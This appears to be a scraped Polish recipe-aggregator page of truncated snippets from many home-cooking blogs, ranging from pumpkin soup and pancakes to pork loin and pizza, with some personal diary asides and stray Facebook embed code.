DYNI. /własny;/ na 4 porcje 600g obranej dyni  3 średnie ziemniaki ok. 1 l wody 1 cebula 2 ząbki czosnku 2-3 łyżki oleju sól (lub sos sojowy), pieprz suszone oregano, cząber, tymianek słodka i ostra mielona papryka Obieram ziemniaki i kroję je w kostkę. Dynię również.  Cebulę i czosnek obieram, siekam i szklę na oleju

W kuchni Karmel-itki
Warzywna zapiekanka 200

solą, pieprzem i ziołami. Zapiekam 30 minut w piekarniku w temperaturze 180 st. C, wyjmuję posypuję serem i zapiekam jeszcze 15 – 20 min w 200 st. Wybornie smakuje z sosem czosnkowym z jogurtu. Do mięsa, ryby lub jako samodzielne danie

pieprzny smaczek
Naleśniki z mąki jaglanej z musem jabłkowo- bananowym 207

ostudzonych dodajemy dwa banany i miksujemy na mus. Smarujemy ciasto naleśnikowe- składamy, np w trójkąty. Naleśniki możemy podsmażyć na masełku lub podawać takie . to zależny jak lubimy. Podajemy polane sosem jogurtowym z odrobiną miodu. SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Schab z cebulką 275

obiadu bądź na kanapkę na drugie śniadanie. Składniki: - 1 kg schabu - 1 cebula - 5 ząbków czosnku marynata - 1 łyżeczka pieprzu - 1/2 łyżeczki czosnku granulowanego - 1 łyżka bazylii - 2 łyżki sosu balsamicznego - 1 łyżka musztardy - 2 łyżki oliwy z oliwek - szczypta rozmarynu, tymianku, estragonu oraz gałki muszkatołowej Przygotowanie: Schab obsmażamy 2 minuty z każdej strony, by zamknąć pory

Zainspirowana w kuchni
Ekspresowa zupa na jesień, z kapustą i fasolą 204

zastąpić np. płatkami chilli, ja chciałam pozostać we włoskich klimatach), oraz odrobiną kwaśnego octu winnego. Powstała bardzo smaczna zupa o cudownych właściwościach kojąco-rozgrzewających. I wcale nie smakuje jak sos pomidorowy z kapustą - w czasie krótkiego gotowania pomidory przejmują warzywny smak i danie smakuje jak należy. Spróbujecie? Ekspresowa zupa na jesień  z kapustą i fasolą na 4 porcje czas

Chilli Czosnek i Oliwa
Smażone krewetki z czosnkiem i natką pietruszki 252

łyżka posiekanej natki pietruszki 1 łyżka masła Krewetki rozmrozić. Odsączyć z nadmiaru wody na ręczniku papierowym.   Czosnek obrać ze skóry, posiekać lub przecisnąć przez praskę. W misce przygotować sos z oleju, papryki, natki i czosnku. Do marynaty przełożyć krewetki, całość wymieszać i odstawić na 30 minut.  Na rozgrzanej patelni roztopić masło, przełożyć krewetki bez zalewy. Smażyć na dużym

kulinarnyswiatdomi
308. 171

waniliowy krem jaglany z sosem truskawkowym i prażonymi wiórkami kokosowymi Wyszedł trochę za rzadki

More food, love and dreams
322. 192

budyniowe naleśniki z twarożkiem i sosem pomarańczowo-cynamonowym Czuje się jak bym oszalała, krzyczę sama do siebie i tarzam się po podłodze. Łzy brudzą mi twarz i skapują na zimną podłogę. W jednej chwili czuje wszystkie możliwe emocje, w drugiej nie czuje nic, po prostu leżę, a łzy płyną po policzkach. Było już tak dobrze. Ale, jak zwykle, ona musi

More food, love and dreams
328. 173

Czego nigdy w życiu nie spróbujesz? (chodzi o jedzenie) Robaków, człowieka, psa, kota i innych domowych stworzeń. 7. Najlepsze dodatki do pizzy, to.. klasyka czyli ser, sos pomidorowy, pieczarki, szynka, kukurydza i papryka 8. Gdzie najchętniej odpoczywasz?   W domu. 9. Jaki powinien być mężczyzna idealny? Ideałów nie ma. Ale przede wszystkim powinien byś szczery, wierny, miły, zabawny

More food, love and dreams
338 168

było odkryć oazy. Pogódź się z życiem, takim jakie ono jest. Zawsze gdzieś czeka jakaś mała radość. Istnieją kwiaty, które kwitną nawet w zimie.” Domowy czekoladowy makaron * z twarożkiem, sosem jagodowym, jagodami i malinami *pszenno-pełnoziarnisty (3:2) Przepis znajdziecie niedługo na moim drugim blogu :) Wczoraj kupiłam najlepsze maliny, ever. Takie wielkie słodziutkie mutanty. I znów zaopatruje lodówkę w truskawki

More food, love and dreams
346. 194

najlepiej co Ci w ten dzień wychodzi to spanie. Pomimo praktycznie całej przespanej nocy, przespałabyś drugie tyle w dzień. A może tak owsiankę?  cynamonowa owsianka z borówkami, sosem jagodowym i czekoladowym Nie umiem sobie wyobrazić jaki to jest ból, jak bardzo ma się wtedy ochotę krzyczeć, ale nie jest się wstanie. Jak bardzo człowiek ma ochotę wbić sobie palce

More food, love and dreams
351 + Jadłospis. 157

walizkę. Jeszcze tylko 4dni. To już?  Wczoraj udało mi się uwiecznić (prawie) wszystko co zjadłam, a więc pokazuje wam jeszcze mój wczorajszy jadłospis. I. Naleśniki z kokosowym twarożkiem, sosem jagodowym* i borówkami II. czosnkowy wrap* z jajecznicą, szynką, sałatą, pomidorem i szczypiorkiem *z domowej oriszowo-pszennej tortilli III. Ziemniaczano-serowe knedle ze śliwkami i cynamonem podane ze śmietaną

More food, love and dreams
352. 171

praktycznie codziennie i się w sumie już do nich przyzwyczaiłam i są dobrymi kuplami. A może tak pampuchy , kluchy na parze, czy jak to się tam zwie? Podane z sosem jagodowo-borówkowym i śmietaną <3  Lub jeżeli wolicie (waniliowy) budyniowy ryż na mleku z rozgniecionymi malinami z dodatkiem cytryny i cynamonu Słodycz malin i kwaskowatość cytryny

More food, love and dreams
360. 191

siedzieć będę potem. Teraz jesteśmy w Rzymie i nie można tego zmarnować.   A o Wenecji opowiem wam już jutro, bo teraz kończę moją kokosową kaszę manną z sosem borówkowym i lecę na rower z przyjaciółką

More food, love and dreams
363. 171

jaglany serniczek z sosem śliwkowym Jak zwykle wtedy kiedy nie jest to konieczne  ugotuję kaszę na sypko(tym razem jeszcze jej trochę nie dogotowałam) -,- ale co tam :P Uwielbiam tą wersję serniczka, którego swoją drogą, dawno u mnie nie było :P Tym razem wyszedł trochę suchy, ale to pewnie dlatego, że nie dałam żółtka, mądra Natala zaczęła robić serniczek

More food, love and dreams
379. Naleśnikowa sobota + 20 faktów o mnie 154

naleśniki z twarożkiem, borówkami i sosem czekoladowym* *czekolada 50% kakao Tym śniadaniem całkiem przypadkowo dołączam się do naleśnikowej soboty o której zapomniałam, a w sumie to chcąc nie chcąc i tak w niej wzięłam w końcu udział :) Opakowanie borówek za 2zł? I ten wyraz smutnego psiaka, bo kieszenie masz puste, ale na szczęście był jeszcze kolega który uratował z opresji

More food, love and dreams
384. Znów naleśnikujemy 165

waniliowe naleśniki* odsmażane na maśle z dżemem** i serkiem homogenizowanympolane sosem truskawkowym * na waniliowym napoju sojowym ** domowy, truskawkowy No, a potem jeszcze więcej serka, non bo jak tak mało wsadzić do środka nie ma opcji. :P Miało być z twarożkiem sernikowym, ale jak na złość nie mogłam go nigdzie znaleźć .. Dopiero wczoraj skapnęłam się, że przez ostanie kilka(naście

More food, love and dreams
457. 127

Ryżowy pudding* z korzennym sosem śliwkowym i cukrem trzcinowym  *z żółtkiem  Ten rozpuszczony cukier Czemu wtedy kiedy były śliwki, ja ich nie "wykorzystałam" do końca i teraz cały czas za mną chodzą?  Sprawdzian, sprawdzian, sprawdzian...ja się pytam ile można?  Powinnam się uczyć... ale nie mam już siły. Za dużo nauki, za dużo lekcji

More food, love and dreams
504. Ricotta hotcakes. 192

ricotta hotcakes z sosem czekoladowym Skoro ricotta wróciła to trzeba to jakoś uczcić :3 A tak swoja drogą muszę się w końcu zapoznać lepiej z nową kuchenką, bo jeszcze nie do końca ją ogarniam xd Taaak, nie ma to jak 7 raz w tygodniu jechać do Warszawy, 5 dni w tygodniu to czasami za dużo, pfff

More food, love and dreams
557. Karmelizowana czekolada. Kasza. Placki, czyli śniadanie x2. 214

formy.   AAa, dzisiaj moja kochana mama obchodzi x-naste urodziny. To i śniadanie dla niej musi być.Aaaa, tort to swoją drogą *.*  placki z karmelizowanym jabłkiem i sosem karmelowym

More food, love and dreams
721. Drożdżowe z miseczki & Tort Pavlova. 176

prostu na to czasu ;)  Tort rodzinom smakował, nawet tacie(a nie lubi bezy) choć go porządnie zasłodził xd  Pavlova z kremem mascarpone, owocami leśnymi i sosem kawowo-kakaowym

More food, love and dreams
748. Zapomniane & Tort bezowy. 194

dzisiaj nie ma już po nim śladu (tak, tak, ja wiem ta skromność xd) ;) Tort bezowy (blaty bezowe z kakao i kawą, przełożone kawowym kremem z mascarpone polane sosem czekoladowo-kawowym, posypane borówkami i granatem ) Czasami najprostsze rzeczy sprawiają najwięcej przyjemności, zwykłe słowa, gesty są lepsze od miliona prezentów

More food, love and dreams
Przekąski na imprezę. Rożki tortilli z szynką. 957

Rożki tortilli z szynką, mixem sałat, pomidorem, ogórkiem i papryką, z sosem majonezowo-musztardowym. Super przekąska na Andrzejki, Sylwestra, czy inną imprezę. Składniki Tortilla kilka dużych placków Majonez 3 łyżki Musztarda delikatesowa 1 czubata łyżeczka Musztarda chrzanowa 1 czubata łyżeczka Mix sałat z sałatą lodową i marchewką Ogórek świeży 1 sztuka Pomidor 2 sztuki Papryka żółta […] The post Przekąski

Kulinarne Przeboje
Pasta z awokado, jajka i suszonych pomidorów, podana w zielonych łódeczkach. 232

uszkodzić zielonej  łódeczki.       Miąższ  pokroic na małe kawałki, skropić dość mocno sokiem z limonki. Jajka pokroić na drobne kawałki Wymieszać delikatnie razem. Zrobić sos z serka wiejskiego musztardy, suszonych pomidorów, dodać odrobinę soli i pieprzu. Wymieszać  z jajkiem i awokado. Nakładać do zielonych łódeczek, udekorować. podawać z chlebem lub bułeczką. Gotowe

W kuchennym oknie Ewy
G... Gulasz! 340

prostu nie lubię, jak coś mi przeszkadza w jedzeniu). Dodajemy koncentrat pomidorowy oraz ketchup pikantny. Doprawiamy solą, pieprzem, paprykami. Pozostawiamy na małym ogniu. Gdy woda trochę odparuje, sos zrobi się gęsty i nie trzeba dodawać śmietany, lecz jeśli ktoś lubi - droga wolna :) Gulasz jest czaso- i pracochłonny, ale warto czasami zaszaleć i cieszyć się tym pysznym, sycącym daniem. Najlepiej podawać

Kitchens Alphabet
Kremowe puree z kalafiora / Creamy cauliflower puree 239

szklanki bulionu z kurczaka (lub wody) 2 szklanki mleka 100 g serka śmietankowego 3 łyżki masła 1/2 szklanki śmietanki kremówki 36 %, lekko podgrzanej sól i pieprz 1/4 łyżeczki sosu tabasco szczypta gałki muszkatołowej Przygotowanie: Umieść kalafiora w dużym garnku i zalej bulionem wraz z mlekiem. Doprowadź całość do wrzenia i gotuj na małym ogniu pod przykryciem przez około

karmelowy
Zakwas na żur według mojej babci 196

sól i cukier. Wymieszaj dobrze na sucho. Wsyp do wody z czosnkiem i zamieszaj montewką. Co to jest montewka? To specjalny ubijak, wykonany z drzewa brzozowego. Stosowana do ubijania sosów, ciasta naleśnikowego lub polewy na ciasto. Odstaw przykryte ,ale nie calkiem i nie szczelnie, w cieple miejsce. Może stać koło kuchenki gazowej, bądz na lodówce. Albo na szafce kuchennej. Minimum

Z Kuchni Do Kuchni
Piersi z kurczaka z suszonymi pomidorami w szynce parmeńskiej 360

szynki. Posypujemy tymiankiem. Układamy w naczyniu żaroodpornym  i polewamy olejem z pomidorów. Pieczemy w piekarniku nagrzanym do 180 stopni przez około 50 minut. Możemy polewać kilkakrotnie tworzącym się sosem, by nie były suche. Piersi bardzo dobrze komponują się z rukolą. Smacznego

Moje Kuchenne Rewelacje
Grillowany łosoś na himalajskim kamieniu solnym 204

łyżki miodu 2 łyżki świeżo posiekanego szczypiorku ½ łyżeczki czosnku w proszku ½ łyżeczki czarnego pieprzu ¼ łyżeczki pieprzu cayenne 60 ml oliwy z oliwek Przygotowanie: Przy pomocy blendera wymieszać wszystkie składniki sosu na gładką jednolitą masę. Przygotować łososia. Ponacinać na zewnątrz (nie przecinając skóry, w nacięcia polecamy włożyć plasterki cytryny), przy pomocy np., pędzelka silikonowego filety natrzeć przygotowaną mieszanką. W międzyczasie

naRuszcie
Tort tiramisu i wielofunkcyjny robot planetarny Philips 217

wygodne otwieranie ramienia robota za pomocą jednego przycisku:) i do tego ma osłonę na misę, wielki plus. W zestawie ma również dzbanek blendera, a więc możemy przygotować koktajle, sosy, dipy i kruszyć lód. Posiada również wyciskarkę do cytrusów i łatwo zakładany pojemnik robota kuchennego ze specjalnymi tarczami do krojenia, siekania, szatkowania i rozdrabniania wszystkich rodzajów składników. Marchewkę starłam w minutę

Mała Cukierenka
Bezglutenowy makaron z tuńczykiem, groszkiem i pomidorkami cherry 271

gram makaronu bezglutenowego tj. z mąki kukurydzianej, jaglanej, gryczanej- ja użyłam makaronu z mąki kukurydzianej 1/2 puszki groszku bądź groszek mrożony 10 pomidorków cherry 1 puszka tuńczyka w sosie własnym 1 czerwona cebula 2 ząbki czosnku łyżka oliwy z oliwek sól pieprz oregano Makaron gotujemy według przepisu na opakowaniu al. dente. Na oliwie smażymy posiekaną drobno cebulkę oraz czosnek, doprawiamy

Mango Papaja
Papryki zapiekane z farszem mięsnym i kaszą jaglaną 225

najwięcej, i jak najczęściej. Można ją podawać w sałatkach, jako dodatek do mięsa lub nawet przyrządzać z niej desery. U nas kasza wystąpiła jako dodatek do mięsa w sosie pomidorowym zapieczona pod serem w paprykach. Wyszło pysznie i zdrowo. Czas przygotowania: 30 minut Ilość porcji: 3 Składniki: 4 papryki 0,5kg mięsa mielonego z indyka Puszka krojonych pomidorów 2 małe

Kolizje Smaków
WŁOSKA SAŁATKA 208

wkrajamy drobno pomidory, mozzarelle kroimy w drobną kostkę, oliwki kroimy w krążki. Doprawiamy solą i pieprzem .Wszystko dobrze mieszamy. Oliwę mieszamy z wodą,dodajemy bazylie, wszystko razem mieszamy. Polewamy sosem surówkę. Mieszamy. Podajemy  z pieczywem czosnkowym np. bagietkami

Z Majeczką w kuchni
FRANCUZIKI Z MIĘSEM MIELONYM 216

ok.2 łyżki farszu mięsnego.Zwijamyw rolun,końce zaciskamy. Gotowe ruloniki układamy na papierze na blasze do pieczenia,smarujemy odrobiną rozkłóconego jajka,zapiekamy ok.15 minut w 170 st. Podajemy polane sosem czosnkowym i posypane natką pietruszki

Z Majeczką w kuchni
PAŁKI KURCZAKA W SŁONECZNIKU 249

bardzo lubiana część kurczaka przez moich domowników. Dlatego staram się urozmaicać ich smak, żeby się Nam nie nudziły Składniki: 9 pałeczek z kurczaka 1/2 szklanki keczupu 5 łyżek sosu sojowego 3 łyżki miodu 3 łyżki oleju szklanka wyłuskanych pestek słonecznika sól, pieprz  Kamis Wykonanie: Do talerzyka wsypujemy pestki słonecznika,panierujemy w nich pałki kurczaka, układamy na blasze. Pieczemy

Z Majeczką w kuchni
KURCZAK DUSZONY Z WARZYWAMI 263

czosnek,dusimy ok 30 minut.Po tym czasie dokładamy pokrojone w słupki marchewki,rózyczki kalafiora i plastry cukinii,dodajemy oregano,dusimy kolejne 10 minut.Śmietanę mieszamy z maką,hartujemy odrobiną sosu,mieszamy z zsosem z patelni,zagotowujemy.Przed podaniem posypujemy posiekaną natką pietruszki

Z Majeczką w kuchni
FILET DROBIOWY NA PARZE Z WARZYWAMI 211

powie,że niedobre bo mało doprawione...Nic  z tych rzeczy, mozna się do tego smaku przyzwyczaić tym bardziej ze dużo zdrowsze od smażenia czy potraw z tymi wszystkimi sosami...Dziś będzie drobiowo Składniki: 60 dag piersi z kurczaka zioła prowansalskie Kamis pieprz biały mielony Kamis sól morska Kamis opakowanie mieszanki bukiet 9 warzyw Iglotex Wykonanie: Piersi kurczaka rozcinamy wzdłuż

Z Majeczką w kuchni
SAŁATKA ZE SZPARAGAMI 184

piątkowa propozycja, coś dla wielbicieli sałatek i szparagów..mniam   Składniki: pół pęczka szparagów opakowanie miksu sałat z rukolą 15 pomidorków koktajlowych opakowanie sera fety 1 czerwona cebula mała sos: 3 łyżki oliwy z oliwek 2 łyżki soku  z cytryny zioła prowansalskie lub inne ulubione zioła 1 łyżka sól,pieprz Wykonanie: Szparagom odłamujemy końcówki i  gotujemy

Z Majeczką w kuchni
POMIDORY POD PIERZYNKĄ 220

oprószenia 1 ząbek czosnku Wykonanie Pomidory kroimy w plastry, układamy na talerzu. Oprószamy solą i pieprzem. Jogurt mieszamy z majonezem, dodajemy przeciśnięty przez praskę czosnek, mieszamy. Tak przygotowanym sosem polewamy pomidorki, posypujemy obficie starkowanym serem

Z Majeczką w kuchni
KACZKA Z JABŁKAMI I POMARAŃCZAMI 823

czasie zdejmujemy pokrywke naczynia i zumieniami kaczkę jeszcze ok 20 minut. Przez cały okres pieczenia podlewamy kaczkę bulionem wymieszanym z czwórniakiem co 15 minut a potem wytwarzającym się sosem. Podajemy z pomarańczami i jabłkami Ten przepis bierze udział w konkursie BLOG ZE ZNAKIEM SMAKU

Z Majeczką w kuchni
PRZECIER Z CUKINII 213

Przepis dostalam od kuzynki mężą. Bardzo mnie zaciekawił gdyż jest idealny jako sos do pizzy ( którą moi synowie uwielbiają) a także na kanapki. Szczerze polecam wypróbowanie Składniki: 1,5 kg cukinii 0,5 kg cebuli 1 łyzka soli 2 szkl cukru 1 szkl octu 0,5 łyżki ostrej papryki 1 łyżka słodkiej papryki 1 łyżeczka pieprzu mielonego 3 słoiczki przecieru

Z Majeczką w kuchni
PIZZA Z SALAMI I CHORIZO IGLOTEX-u 215

się niezwykle pachnącym i smacznym daniem. Pizza nawet po dłuższym zapieczeniu, nie stała się sucha jak wiór, sery idealnie dobrane, pyszne salami i chorizo- bardzo aromatyczne.Smakował mi też sos z przecieranych pomidorów. Ogólnie mało używam takich dań, ale jak już po nie sięgam to własnie po produkty Iglotex jak dla mnie najlepsze i sprawdzone ! Zapraszam na stronę iglotex

Z Majeczką w kuchni
Ekspresowy obiad: Makaron z warzywami po chińsku 474

kolację na ciepło w dwóch wersjach bezmięsnej lub mięsnej. Oto moja dzisiejsza propozycja. Składniki: spaghetti razowe mieszanka warzywna mrożona "chińska" olej sezamowy sól papryka słodka i ostra pieprz jasny sos sojowy Makaron łamiemy na pół i gotujemy według przepisu na opakowaniu.W międzyczasie na podgrzany olej wrzucamy zamrożone warzywa i smażymy ok. 8 minut. W trakcie smażenia doprawiamy do smaku

chwile dla mnie
Surówka z marchwii z dodatkiem chrzanu 213

fareast-language:EN-US;} Składniki: 2 marchewki 2-3 łyżki śmietany 1 łyżeczka chrzanu sól Marchewkę obieramy i ścieramy na tartce na drobnych oczkach. W osobnym kubeczku przygotowujemy sos: śmietanę mieszamy z chrzanem, dosmakowujemy solą. Łączymy z marchewką. SMACZNEGO

kulinarnyswiatdomi
SZYBKIE CURRY Z TOFU. 200

ząbki czosnku 1/2 papryczki pepperoni (lub chili) 1/2 kostki tofu 1 szklanka śmietanki 12% po 1/2 łyżeczki: kurkumy, cynamonu, imbiru, suszonej kolendry, suszonej pietruszki, słodkiej papryczki mielonej pieprz sos sojowy do smaku  odrobina oleju do smażenia Siekam cebulę, czosnek i podsmażam na odrobinie oleju. Kiedy będzie szkliste, wrzucam porkojoną w kostkę paprykę, pepperoni, cukinię. Smażę, a gdy stanie się

W kuchni Karmel-itki
Buraczki zakwaszone czerwonym octem 243

cytryny. Buraczek powinien mieć wyraźny słodko-kwaśny smak. Mojej Rodzinie najlepiej smakuje po całkowitym wystudzeniu w lodówce. Podaję na zimno jako dodatek np. do kaszy z bitkami w sosie własnym  :)                                  Smacznego

Proste Potrawy
Tort tiramisu i mikser planetarny marki Philips 384

wygodne otwieranie ramienia robota za pomocą jednego przycisku:) i do tego ma osłonę na misę, wielki plus. W zestawie ma również dzbanek blendera, a więc możemy przygotować koktajle, sosy, dipy i kruszyć lód. Posiada również wyciskarkę do cytrusów i łatwo zakładany pojemnik robota kuchennego ze specjalnymi tarczami do krojenia, siekania, szatkowania i rozdrabniania wszystkich rodzajów składników. Marchewkę starłam w minutę

Mała Cukierenka
Parówki z serem w cieście francuskim 233

Smarujemy roztrzepanym jajkiem. Układamy na blaszce wyłożonej papierem do pieczenia. Piekarnik rozgrzewamy do 200 stopni i pieczemy około 20 minut, aż ciasto się ładnie zarumieni. Podajemy z keczupem , sosem czosnkowym lub innym ulubionym.   Możemy pokroić parówki w krążki i podawać jako zimną przekąskę.   Smacznego

Moje Kuchenne Rewelacje
Spaghetti a'la caprese 353

esculentum jest owocem. W sierpniu pomidory są najsmaczniejsze, dlatego warto spożywać ich teraz jak najwięcej. Na zimę możecie zamknąć ich letni smak w słoiczkach: przygotowując teraz przecier pomidorowy, ketchup, sos pomidorowo-paprykowy. Pomidory są bogate w likopen - przeciwutleniacz, który chroni nasz organizm przed wolnymi rodnikami przyspieszającymi procesy starzenia oraz wywołującymi zmiany nowotworowe. Dziś letnie pomidory proponuję wykorzystać Wam na obiad

W kuchni Katie
Pieczonki 444

pozwalamy im wypełnić cały garnek Pieczonki podajemy na talerzykach, choć tak naprawdę największą frajdę sprawia wspólne siedzenie wokół garnka i jedzenie bezpośrednio z niego :) Idealnie smakują z keczupem i/lub sosem czosnkowym :) Smacznego

W kuchni Katie
Małże, mule, omułki - czyli co skrywa czarna muszelka 286

zimną bieżącą wodą, aby wypłukać je z piasku. Co dalej? Tak przygotowane mule można przyrządzić na wiele sposobów: upiec w piekarniku, ugotować na parze, udusić w winie lub innym sosie :) Do tego obowiązkowo ciepła, chrupiąca bagietka i kawałek cytryny :) Jak zasiąść z małżem do stołu? W restauracjach małże zwykle są podawane w głębokich talerzach na zupę, w dużych misach

W kuchni Katie
Sałatka jarzynowa 268

dodać do pokrojonych warzyw. Jabłko obrać ze skórki, zetrzeć na tartce na grubych oczkach. Przestudzone warzywa i jajka, obrać, pokroić w kosteczkę, dodać do miski. W osobnym pojemniczku przygotować sos, wymieszać razem: śmietanę, majonez, musztardę i przyprawy. Dodać do warzyw i dokładnie wymieszać. Doprawić według uznania. SMACZNEGO

kulinarnyswiatdomi
Kanapka prosto z pieca 162

spodzie, Posmarować białkiem i posypać czarnuszką. Odstawić na 20 minut. Piec w temp.200 stopni, 40 minut. Po wyjęciu z pieca, odczekać 5 minut i można kroić. Dobrze smakuje z sosem chrzanowym lub z zieloną sałatą. Kanapka jest równie smaczna na zimno

Kulinarny karnet Christophera
Pizza z warzywami 244

czasie wyjąć pizze i ułożyć na niej plastry sera żółtego  i z powrotem wsunąć do piekarnika   do rozpuszczenia się sera.  Podawać pizze z dowolnymi sosami. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk

Kuchnia Danusi
Schab duszony w śmietanie i pieczarkami 272

garnka, dodajemy pieczarki zalewamy śmietaną i 100 ml wody. Doprawiamy majerankiem, gałką muszkatołową, dodajemy ziele angielskie i liść laurowy. Dusimy pod przykryciem 40 minut. 4. Mięso wykładamy na talerz. Sos doprawiamy solą i pieprzem i redukujemy (ale tylko przez chwilę, śmietana bardzo szybko gęstnieje). Jeśli przesadzicie, dodajcie odrobinę wody. Mięso wkładamy z powrotem i mieszamy. Podajemy z kaszą gryczaną

My Culinary Art
Makaron z mąki pełnoziarnistej z tuńczykiem 170

pożywienia. Błonnik zawarty w takich produktach korzystnie wpływa na perystaltykę jelit. SKŁADNIKI makaron pełnoziarnisty typu penne lub inny ( dla 3 osób pół torebki) jedna puszka z tuńczyka w sosie własnym 1 łyżka oleju rzepakowego tłoczonego na zimno   1 cebula WYKONANIE  Makron gotujemy w lekko osolonej wodzie ok 7-8 min. al -dente . Cebulę kroimy w kostkę i podduszamy

W kuchennym oknie Ewy
Jednogarnkowy gulasz z jelenia 222

etapie przygotowania ilość płynu powinna ulec znaczącemu zmniejszeniu, jego część powinna już odparować i zostać wchłonięta przez kaszę. W przypadku jednak, gdyby w daniu było zbyt mało sosu, należy ponownie dodać wody. Po 15 minutach gotowania gulaszu z kaszą, kiedy kasza stała się już miękka dodałem do niego 50 gram masła, wyłączyłem ogień pod gulaszem i mieszałem do czasu całkowitego

Wyprawy kulinarne
Gnocchi, czyli Włoskie Kopytka 202

nożem lub plastikową kartą. Ciasto podsypujemy stale mąką. Uformowane gniocchi wrzucamy partiami do gotującej się wody. Gdy kopytka wypłyną, po ok. 2 minutach odcedzamy do lodowatej wody, lub do sosu np pomidorowego lub wrzucamy na rozgrzane masło jako dodatek do np gulaszu. Jeżeli jednak mamy zamiar je zjeść póżniej, to po odcedzeniu z lodowatej wody warto jest naoliwić dłonie

Pasje Jolki
Oliwa czosnkowa 186

zalewamy oliwą z oliwek lub  dowolnym olejem, wkładamy do lodówki i używamy kiedy chcemy. Taka oliwa może stać do 2 tyg. w lodówce. Posiekany czosnek używamy do dipów, sosów, mięs,makaronów. Gdy się kończy robię drugą. Polecam. Szybko i bez konserwantów

Pasje Jolki
Zupa z dorsza 221

tarce o dużych oczkach. Wrzucamy do naszego wywaru, dajemy grubo mielony pieprz w ilości mniejszej niż połowa łyżeczki. Gotujemy jeszcze 10 minut. Kroimy i dodajemy odcedzone warzywa, 2 łyżki sosu pomidorowego lub 1 pomidora pokrojonego w kostkę. Posypujemy świeżym koperkiem lub natką pietruszki. I to jest wszystko. Smacznego. CMOK Ja podaje do zupki filety z dorsza usmażone na gorącym oleju

Pasje Jolki
Brioche, chlebek z Finezją 158

Jest to bardzo delikatny i puszysty chlebek. Można robić na słodko lub na słono.  Dziś my zrobimy na słono, jako dodatek do oliwy z oliwek, sosów lub marmolady. Taki umaczany smakuje najlepiej. Będziesz zachwycona/y. Do 80 g ciepłego mleka 3,2% (niecałe pół szklanki) dodajemy 1łyżkę miodu lub cukru, oraz 30 g drożdży .  Wszystko razem mieszamy. Teraz dodajemy

Pasje Jolki
Tosty na kolację 293

Pieczarki obierz i pokrój, następnie podsmaż bez dodatku soli ok.5-6 minut. Ser zetrzyj lub pokrój w cienkie plastry, kiełbasę pokrój w talarki. Włącz piekarnik na 200°. Tosty posmaruj zmiksowanym sosem pomidorowym, rozłóż  pieczarki i kiełbasę, przykryj wszystko serem żółtym i do piekarnika na 8-10 minut. Kontroluj, aby nie spalić. SMACZNEGO . CMOK

Pasje Jolki
Makaron z krewetkami i pesto z orzechów brazylijskich 179

prosto z Asyżu, najdłuższe jakie jadłam, nie mieściło mi się w żadnej szafce;-), z dodatkiem pesto ze świeżej bazylii, oliwy z oliwek i orzechów brazylijskich, podane z krewetkami w sosie limonkowym. Pychota !  przepis KLIK

SMYKWKUCHNI
Kąski z kurczaka w cieście piwnym. 419

uzyskania złotego koloru. Odsączone z nadmiaru tłuszczu skrzydełka układamy na ruszcie i pieczemy w nagrzanym piekarniku w temp 180 stopni przez ok 20 min. Podajemy gorące z ulubionymi sosami i np frytkami

Malinowe Pocałunki
Mini penne rigate z ciecierzycą w pomidorach 210

kilka plastrów ulubionego sera sól do smaku Przygotowanie: Na oliwie z oliwek podsmażamy plasterki czosnku, dodajemy pomidory z puszki odcedzoną ciecierzycę i suszone oregano, dusimy na małym ogniu, aż sos zgęstnieje, a w tym czasie gotujemy makaron zgodnie z opisem na opakowaniu. Na koniec doprawiamy do smaku.  Podajemy posypane posiekaną natką z pietruszki i serem

Moja smaczna kuchnia
Azjatycki bulion drobiowy - baza do potraw azjatyckich 324

lepszego, jak pomidorówka na rosole, wieprzowina duszona z jego dodatkiem, czy sos na bulionie. W potrawach azjatyckich jest dokładnie tak samo. Możemy oczywiście używać klasycznego, dobrze nam znanego bulionu, który również nada daniom aromatu, odbiega on jednak smakiem od tego "właściwego". Na bulionie azjatyckim możemy przygotować wiele dań, na przykład: zupę kokosową z pieczarkami, kurczakiem i kiełkami , zupę kokosową

Tajskie smaki
Kotlety siekane z kurczaka i pieczarek 10785

pozostałymi produktami, aby uzyskać bardzo smaczne, bardzo sycące kotlety. Przygotowuje się te kotlety podobnie jak Placki z kurczaka z pietruszką lub kotleciki z kurczaka i cukinii , a podaje z sosem np. BBQ. Mogę Wam też polecić przepis z kurczakiem w roli głównej, to coś pysznego kurczak po cygańsku. Kotlety siekane z kurczaka i pieczarek, przepis na 12 sztuk sporych kotletów

Damsko-męskie spojrzenie na kuchnię
Rice sticks (pieczone pałeczki ryżowe) porcja ok. 480 kcal 210

zajęło mi ok. 1 h 15 min plus pół godziny pieczenia . Pałeczki zainspirowane gotowym daniem mrożonym Vitasia Veggie Sticks z ryżem basmati (tydzień azjatycki w Lidlu) :) Polecam z ostrym sosem Składniki (duża porcja - zdjęcie): 70 g ryżu naturalnego 100 g (1 sztuka) marchewki 55 g (1 sztuka) cebuli 12 g (2 płaskie łyżki) bułki tartej 30 g (pół) roztrzepanego jajka

Malowane smakiem
Kurczaczki goujons- chicken goujons 993

każdą stronę.Usmażone układamy na ręcznikach papierowych , aby pozbyć się nadmiaru tłuszczu. Kurczaczki gotowe. :) Kurczaczki podajemy z dipem czosnkowym- przepis tutaj  lub z innym ulubionym sosem. Polecam i życzę smacznego

Smaki Edyty
PIKANTNA PASTA Z CZERWONEJ FASOLI. 326

szklanki suchej czerwonej fasoli 1 cebula 2 ząbki czosnku 1/2 papryczki pepperoni (lub chili) 1/2 pęczka natki pietruszki (posiekanego) 2 łyżki oliwy z oliwek 2-3 łyżki wody sos sojowy, pieprz świeżo mielony odrobina słodkiej i ostrej mielonej papryki Czerwoną fasolę zalewam wodą i zostawiam na 12h, aby się namoczyła. Następnie gotuję, wlewając do garnka wody 2x więcej niż fasoli

W kuchni Karmel-itki
Pizza 251

Składniki : 0,5 kg mąki 8 g drożdży instant lub 15 g świeżych łyżeczka cukru łyżeczka soli 2 łyżki oleju lub oliwy kubek ciepłej wody ok.300 ml ulubione dodatki: sos pomidorowy, cebula, czosnek, żółty ser, pieczarki, papryka, salami itp. przyprawy do pizzy: oregano, bazylia, majeranek, rozmaryn przejdź do przepisu

w kuchni i w ogrodzie
Przepiórki w boczku 281

